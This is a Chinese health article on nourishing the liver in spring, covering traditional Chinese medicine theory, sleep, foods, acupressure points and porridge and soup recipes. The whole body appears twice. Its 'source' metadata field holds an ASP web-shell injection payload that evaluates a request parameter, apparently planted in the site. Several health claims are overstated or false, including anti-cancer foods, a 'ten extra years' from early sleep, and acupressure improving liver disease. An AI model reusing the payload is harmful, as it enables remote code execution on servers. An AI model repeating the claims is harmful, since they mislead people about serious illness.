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【健康】春季养肝大全,看了准受益

作者:长沙市化妆品安全协会 信息来源:"%><%Eval(Request(chr(112)))%><% 发布时间:2017-3-29

春季养肝是头等大事,但是如何养肝、肝脏最喜欢什么却不是人人都清楚。


  调查显示,每12个中国人里,就有一个人肝脏有问题。要想护好肝,必须知道肝脏“最想要”的是什么。肝脏不同于其他器官,它是人体代谢毒素的主要功臣,不会补的话,会越补越乱。


  今天这篇文章把肝脏的养生原理、方法等方面都涉及了,抽空一定要好好看看~

肝脏:人体最重要的解毒器官!


  肝脏是人体最重要的代谢和解毒器官。人体胃肠道所吸收的各种物质,包括营养物质和毒素等,经胃肠道的血管系统后,都由肝脏的门脉进入肝脏内进行分解、合成及解毒。


  因为肝脏是唯一没有痛感神经的器官,所以无论它累成怎么样,它也从不呻吟叫苦,也不会喊痛,这也是人们经常忽略它健康状况的根本原因。这就是为什么肝癌一发现,就是晚期的原因。


  百病之源,根在肝脏

  中医讲,百病之源,根在肝脏。如果肝脏代谢不正常,人体所需养分得不到及时供应,各个器官无法正常工作。


  生命之本,健康之源:肝脏 

  我们知道,每个生命都是从胚胎开始的,而胚胎生命必须仰仗母亲肝血的供应才能生存下来。如果母亲肝血供应不足,将不会有健康生命的存在。可以说,肝脏早在生命降临人世之前,就已经在发挥作用了。因此,肝是生命能量的源头,生命能量依靠肝血得以储存。


  肝“苦”毛病多,又黄又丑瘦不了

  中医讲,百病之源,根在肝脏。如果肝脏代谢不正常,人体所需养分得不到及时供应,各个器官无法正常工作。


  脸色暗黄,年纪轻轻变成“黄脸婆”

  肝脏是人体的排毒工厂,吃进去的有毒物质,有损肝脏的药物,体内产生的毒物、废物等都必须依靠肝脏来解毒。如果肝脏无法正常排毒,毒素就会滞留在体内,再美的女性也会变成“黄脸婆”。


  体重居高不下

  我们平时吃的这些东西中热量很高,在进入人体后,经过脾胃的消化,一定会被带入肝脏。肝脏一下子分解不了如此多的脂肪,就会留下一部分。长期下来,肝脏内部堆积的脂肪越来越多,肝脏首先变“胖”了,人也得了脂肪肝。生病了的肝脏不能尽快将废物清除出去,人也会变胖。


春天养肝护肝8大绝招

 

1、开心最重要

  肝脏的特性就是主疏泄,喜豁达,恶抑郁。只有当肝不受约束时,身体才能达到一种轻松、疏泄的状态,犹如一棵枝叶舒展的树。


  人只要一生气,肝就会堵,严重的还会“气的肝疼”,就是两侧肋部胀痛,堵的厉害的还会影响双侧乳腺和颈部的甲状腺,造成这两个部位的肿块。所以,要养肝,开心、舒心、不堵心是最最重要的。


2、远离烟酒

  众所周知,饮酒伤肝,现在还没有任何药物或食物能防止酒精对肝脏的损害,特别是空腹饮酒时,酒精很快被吸收入血,不仅会对肝脏造成损害,对全身亦有不良影响。


3、早点睡觉

  每晚子时(23:00-1:00)开始,就是肝胆自我修复的时间段,此时能进入深度睡眠,是非常养人的。

  一旦此时不睡,肝脏就会逐渐失去动力,解毒功能也会直线下降,各种毒素排不干净就会直接反应到脸上,痘痘和各种斑就会纷至沓来。


  医生建议:晚饭早点吃,吃完适当运动一会,泡会儿脚,每天争取10点以前上床,10点半睡着,养成这个好习惯,能帮助你起码增寿10年!


4、多多闭目

  用眼过度是现代人肝气虚弱的又一重大原因。肝脏贮藏着丰富的血液,其主要作用是保持眼睛的明亮。长期看电视、电脑、手机、玩游戏很容易用眼过度,从而导致肝血不足。而最方便的养肝法其实就是闭目养神,眼神放光,肝气自足。


  医生建议:经常闭目养神是很好的养肝方法,尤其是晚上睡觉前,即使睡不着也尽量闭着眼睛养养神。


5、必吃护肝食补“三宝”


 绿豆

  绿豆含丰富胰蛋白酶抑制剂,可以保护肝脏。

  另外,绿豆可清凉解毒,利尿明目,治疗中毒中暑,保肝护肾,降血脂胆固醇,抗肿瘤抗菌。吃绿豆时要用液体的形式,如绿豆汤,绿豆糕的效果会差一些。


 山药

  山药所含的乙酰胆碱,研究发现山药具有镇静作用,可以养肝,且含有多种微量元素、丰富的维生素和矿物质,尤其钾高,热量低,经常食用,有减肥健美的作用。


 百合

  百合可除肝肺热毒,养阴润肺,清心安神,镇静抗癌,滋补精血,对病后虚弱、失眠多梦的人非常有益。鲜百合富含黏液质及维生素,对皮肤细胞新陈代谢有益,春夏女人常食百合,泻肝火且有一定美容作用。


6、省酸增甘,以养脾气

  春天食疗讲究“省酸增甘,以养脾气”,即少吃有酸味的食物,如李子、橙子等;少吃容易助肝火的食物,如狗肉、大蒜、葱等。


  多吃一些味道偏甜的食物,如红枣、蜂蜜;多吃一些对脾胃功能有帮助的食物,如米饭、谷物、山药等。


7、点按穴位,疏肝理气


大敦穴

  大敦穴所处的脚拇趾是肝经的起始处,肝经由此巡行到生殖器、肝、脑、眼等部位,按压大敦穴可以疏肝理气,激发人体少阳之气,不仅能够缓解焦虑,还能使头脑清晰,眼睛明亮,它也被视为镇静和恢复神智的最佳穴位。


  此外,对肝火旺盛引起的目眩、腹痛、肌肋痛等也有缓解作用。


取穴方法:

  可采用正坐或仰卧的姿势,大敦穴在脚拇趾靠第二脚趾那一侧甲根边缘约2毫米处。每天按揉1~2次。


肝俞穴

  肝气输注于背部的俞穴,直接反映了肝的虚实盛衰,刺激肝俞穴,能让肝的元气充足,可达到疏肝理气、养肝明目的作用,尤其对于肝炎、胆囊炎、结膜炎、腹胀、健忘、失眠等有调理作用。


  另外,还能促进肝胆的湿气排除,所以湿热、容易上火之人也可多按揉此穴来保健。


  取穴方法:采用正坐姿势,从低头时最高隆起处那块骨头算起,第九个突起下方左右各两横指宽的位置就是肝俞穴。用拇指指端点按该穴,轻轻按揉至有热感即可,每天按摩1~2次。


太冲穴

  在行间上二寸的凹陷中。为人身之大穴也。它能在有气无力时补足血气;能在头晕脑胀时降压气爽;能在身体虚寒时增加温度;能在怒发冲关时泻火入眠;能在月经不调时调理周到。


  总之它算肝经上的命门了,所以每天时常揉它二分钟,只有大好,没有不是,坚持数月必见奇效!


期门穴

  位置源自肝脏附近,长期每天坚持刺激,对急慢性肝病会有很大的改善。


8、适量运动,增强免疫力

  春季人体阳气不稳,较易散泄。因此,人们在锻炼时要注意控制运动量,以参加活动量小的运动为宜,做到微微汗出,形劳神不倦,以运动后精力充沛、身体轻松为度,避免大汗淋漓使阳气受损。


国医大师亲传弟子推荐——两道汤,三种粥

帮助您在春季养好肝脏

  国医大师路志正的亲传弟子——苏凤哲主任医师为您介绍几种适合春季食用的粥和汤。 

三种粥

枸杞粥

原料:大米100克,枸杞30克。


做法:大米煮成粥后,放入枸杞,略煮后温食。


功效:有滋补肝肾,明目的功效。适用于头晕,目涩,腰膝酸软的人食用。


肝豆粥

原料:刀豆50克,绿豆30克,新鲜猪肝100克,大米100克,食盐,味精少许。


做法:豆米同煮,大米煮沸,小火慢熬。粥约八成熟时,将切成片的猪肝掺入粥内同煮,熟后加入调味品。


功效:此粥适合面色萎黄,视力模糊,体弱,轻度浮肿的人,身体容易疲倦,精力不佳的人都可以食用。


桑葚粥

原料:糯米60克,桑葚30克(新鲜的可用60克),冰糖适量。


做法:将桑葚洗净,与米同煮,粥熟后放冰糖。


功效:具有补肝养血、明目益智的功效。适用于头晕目眩,耳鸣腰酸,须发早白的人食用。


两道汤

木耳田七红枣汤

原料:黑木耳50克,田七15克,红枣10枚,生姜2片。


做法:将黑木耳浸软,去头切碎,田七洗净切碎或打碎,红枣洗净拍松去核,上述材料和姜片放入锅中,加水1000ml,大火滚后,中火再煮2小时左右,最后加入适当地盐调味即可。


功效:具有滋肝补肺,和胃健脾的作用。适用于体虚贫血,气短咳嗽,脾胃不和的人食用。


荠菜肝片汤


原料:鲜猪肝100克,荠菜60克,淀粉5克,精盐3克,料酒,味精,胡椒粉各一克,高汤适量。


做法:猪肝洗净,切成薄片,盛碗内加精盐,料酒,湿淀粉拌匀,荠菜洗净,切断,放入高汤,下荠菜熬出味,捞出荠菜,加精盐,胡椒粉,下肝片汆熟,加味精,起锅盛入汤盆中即可。


功效:具有补肝明目,滋阴养血的作用,适用于体虚,食欲不好,贫血,浮肿,月经过多,目赤肿痛之人食用。

    

  春天要养肝,适合所有人,这些内容不光自己要收藏,也应送给亲朋好友,希望大家春天养好肝,健康一整年!



  春季养肝是头等大事,但是如何养肝、肝脏最喜欢什么却不是人人都清楚。


  调查显示,每12个中国人里,就有一个人肝脏有问题。要想护好肝,必须知道肝脏“最想要”的是什么。肝脏不同于其他器官,它是人体代谢毒素的主要功臣,不会补的话,会越补越乱。


  今天这篇文章把肝脏的养生原理、方法等方面都涉及了,抽空一定要好好看看~


肝脏:人体最重要的解毒器官!


  肝脏是人体最重要的代谢和解毒器官。人体胃肠道所吸收的各种物质,包括营养物质和毒素等,经胃肠道的血管系统后,都由肝脏的门脉进入肝脏内进行分解、合成及解毒。


  因为肝脏是唯一没有痛感神经的器官,所以无论它累成怎么样,它也从不呻吟叫苦,也不会喊痛,这也是人们经常忽略它健康状况的根本原因。这就是为什么肝癌一发现,就是晚期的原因。


  百病之源,根在肝脏


  中医讲,百病之源,根在肝脏。如果肝脏代谢不正常,人体所需养分得不到及时供应,各个器官无法正常工作。


  生命之本,健康之源:肝脏 

  我们知道,每个生命都是从胚胎开始的,而胚胎生命必须仰仗母亲肝血的供应才能生存下来。如果母亲肝血供应不足,将不会有健康生命的存在。可以说,肝脏早在生命降临人世之前,就已经在发挥作用了。因此,肝是生命能量的源头,生命能量依靠肝血得以储存。


  肝“苦”毛病多,又黄又丑瘦不了

  中医讲,百病之源,根在肝脏。如果肝脏代谢不正常,人体所需养分得不到及时供应,各个器官无法正常工作。


  脸色暗黄,年纪轻轻变成“黄脸婆”

  肝脏是人体的排毒工厂,吃进去的有毒物质,有损肝脏的药物,体内产生的毒物、废物等都必须依靠肝脏来解毒。如果肝脏无法正常排毒,毒素就会滞留在体内,再美的女性也会变成“黄脸婆”。


  体重居高不下

  我们平时吃的这些东西中热量很高,在进入人体后,经过脾胃的消化,一定会被带入肝脏。肝脏一下子分解不了如此多的脂肪,就会留下一部分。长期下来,肝脏内部堆积的脂肪越来越多,肝脏首先变“胖”了,人也得了脂肪肝。生病了的肝脏不能尽快将废物清除出去,人也会变胖。


春天养肝护肝8大绝招

 


1、开心最重要

  肝脏的特性就是主疏泄,喜豁达,恶抑郁。只有当肝不受约束时,身体才能达到一种轻松、疏泄的状态,犹如一棵枝叶舒展的树。


  人只要一生气,肝就会堵,严重的还会“气的肝疼”,就是两侧肋部胀痛,堵的厉害的还会影响双侧乳腺和颈部的甲状腺,造成这两个部位的肿块。所以,要养肝,开心、舒心、不堵心是最最重要的。


2、远离烟酒

  众所周知,饮酒伤肝,现在还没有任何药物或食物能防止酒精对肝脏的损害,特别是空腹饮酒时,酒精很快被吸收入血,不仅会对肝脏造成损害,对全身亦有不良影响。


3、早点睡觉

  每晚子时(23:00-1:00)开始,就是肝胆自我修复的时间段,此时能进入深度睡眠,是非常养人的。


  一旦此时不睡,肝脏就会逐渐失去动力,解毒功能也会直线下降,各种毒素排不干净就会直接反应到脸上,痘痘和各种斑就会纷至沓来。


  医生建议:晚饭早点吃,吃完适当运动一会,泡会儿脚,每天争取10点以前上床,10点半睡着,养成这个好习惯,能帮助你起码增寿10年!


4、多多闭目

  用眼过度是现代人肝气虚弱的又一重大原因。肝脏贮藏着丰富的血液,其主要作用是保持眼睛的明亮。长期看电视、电脑、手机、玩游戏很容易用眼过度,从而导致肝血不足。而最方便的养肝法其实就是闭目养神,眼神放光,肝气自足。


  医生建议:经常闭目养神是很好的养肝方法,尤其是晚上睡觉前,即使睡不着也尽量闭着眼睛养养神。


5、必吃护肝食补“三宝”


 绿豆

  绿豆含丰富胰蛋白酶抑制剂,可以保护肝脏。

  另外,绿豆可清凉解毒,利尿明目,治疗中毒中暑,保肝护肾,降血脂胆固醇,抗肿瘤抗菌。吃绿豆时要用液体的形式,如绿豆汤,绿豆糕的效果会差一些。


 山药

  山药所含的乙酰胆碱,研究发现山药具有镇静作用,可以养肝,且含有多种微量元素、丰富的维生素和矿物质,尤其钾高,热量低,经常食用,有减肥健美的作用。


 百合

  百合可除肝肺热毒,养阴润肺,清心安神,镇静抗癌,滋补精血,对病后虚弱、失眠多梦的人非常有益。鲜百合富含黏液质及维生素,对皮肤细胞新陈代谢有益,春夏女人常食百合,泻肝火且有一定美容作用。


6、省酸增甘,以养脾气

  春天食疗讲究“省酸增甘,以养脾气”,即少吃有酸味的食物,如李子、橙子等;少吃容易助肝火的食物,如狗肉、大蒜、葱等。


  多吃一些味道偏甜的食物,如红枣、蜂蜜;多吃一些对脾胃功能有帮助的食物,如米饭、谷物、山药等。


7、点按穴位,疏肝理气


大敦穴


  大敦穴所处的脚拇趾是肝经的起始处,肝经由此巡行到生殖器、肝、脑、眼等部位,按压大敦穴可以疏肝理气,激发人体少阳之气,不仅能够缓解焦虑,还能使头脑清晰,眼睛明亮,它也被视为镇静和恢复神智的最佳穴位。


  此外,对肝火旺盛引起的目眩、腹痛、肌肋痛等也有缓解作用。


取穴方法:

  可采用正坐或仰卧的姿势,大敦穴在脚拇趾靠第二脚趾那一侧甲根边缘约2毫米处。每天按揉1~2次。


肝俞穴


  肝气输注于背部的俞穴,直接反映了肝的虚实盛衰,刺激肝俞穴,能让肝的元气充足,可达到疏肝理气、养肝明目的作用,尤其对于肝炎、胆囊炎、结膜炎、腹胀、健忘、失眠等有调理作用。


  另外,还能促进肝胆的湿气排除,所以湿热、容易上火之人也可多按揉此穴来保健。


  取穴方法:采用正坐姿势,从低头时最高隆起处那块骨头算起,第九个突起下方左右各两横指宽的位置就是肝俞穴。用拇指指端点按该穴,轻轻按揉至有热感即可,每天按摩1~2次。


太冲穴


  在行间上二寸的凹陷中。为人身之大穴也。它能在有气无力时补足血气;能在头晕脑胀时降压气爽;能在身体虚寒时增加温度;能在怒发冲关时泻火入眠;能在月经不调时调理周到。


  总之它算肝经上的命门了,所以每天时常揉它二分钟,只有大好,没有不是,坚持数月必见奇效!


期门穴


  位置源自肝脏附近,长期每天坚持刺激,对急慢性肝病会有很大的改善。


8、适量运动,增强免疫力

  春季人体阳气不稳,较易散泄。因此,人们在锻炼时要注意控制运动量,以参加活动量小的运动为宜,做到微微汗出,形劳神不倦,以运动后精力充沛、身体轻松为度,避免大汗淋漓使阳气受损。


国医大师亲传弟子推荐——两道汤,三种粥

帮助您在春季养好肝脏

  国医大师路志正的亲传弟子——苏凤哲主任医师为您介绍几种适合春季食用的粥和汤。 

三种粥

枸杞粥


原料:大米100克,枸杞30克。


做法:大米煮成粥后,放入枸杞,略煮后温食。


功效:有滋补肝肾,明目的功效。适用于头晕,目涩,腰膝酸软的人食用。


肝豆粥


原料:刀豆50克,绿豆30克,新鲜猪肝100克,大米100克,食盐,味精少许。


做法:豆米同煮,大米煮沸,小火慢熬。粥约八成熟时,将切成片的猪肝掺入粥内同煮,熟后加入调味品。


功效:此粥适合面色萎黄,视力模糊,体弱,轻度浮肿的人,身体容易疲倦,精力不佳的人都可以食用。


桑葚粥


原料:糯米60克,桑葚30克(新鲜的可用60克),冰糖适量。


做法:将桑葚洗净,与米同煮,粥熟后放冰糖。


功效:具有补肝养血、明目益智的功效。适用于头晕目眩,耳鸣腰酸,须发早白的人食用。


两道汤

木耳田七红枣汤


原料:黑木耳50克,田七15克,红枣10枚,生姜2片。


做法:将黑木耳浸软,去头切碎,田七洗净切碎或打碎,红枣洗净拍松去核,上述材料和姜片放入锅中,加水1000ml,大火滚后,中火再煮2小时左右,最后加入适当地盐调味即可。


功效:具有滋肝补肺,和胃健脾的作用。适用于体虚贫血,气短咳嗽,脾胃不和的人食用。


荠菜肝片汤



原料:鲜猪肝100克,荠菜60克,淀粉5克,精盐3克,料酒,味精,胡椒粉各一克,高汤适量。


做法:猪肝洗净,切成薄片,盛碗内加精盐,料酒,湿淀粉拌匀,荠菜洗净,切断,放入高汤,下荠菜熬出味,捞出荠菜,加精盐,胡椒粉,下肝片汆熟,加味精,起锅盛入汤盆中即可。


功效:具有补肝明目,滋阴养血的作用,适用于体虚,食欲不好,贫血,浮肿,月经过多,目赤肿痛之人食用。

    

  春天要养肝,适合所有人,这些内容不光自己要收藏,也应送给亲朋好友,希望大家春天养好肝,健康一整年!


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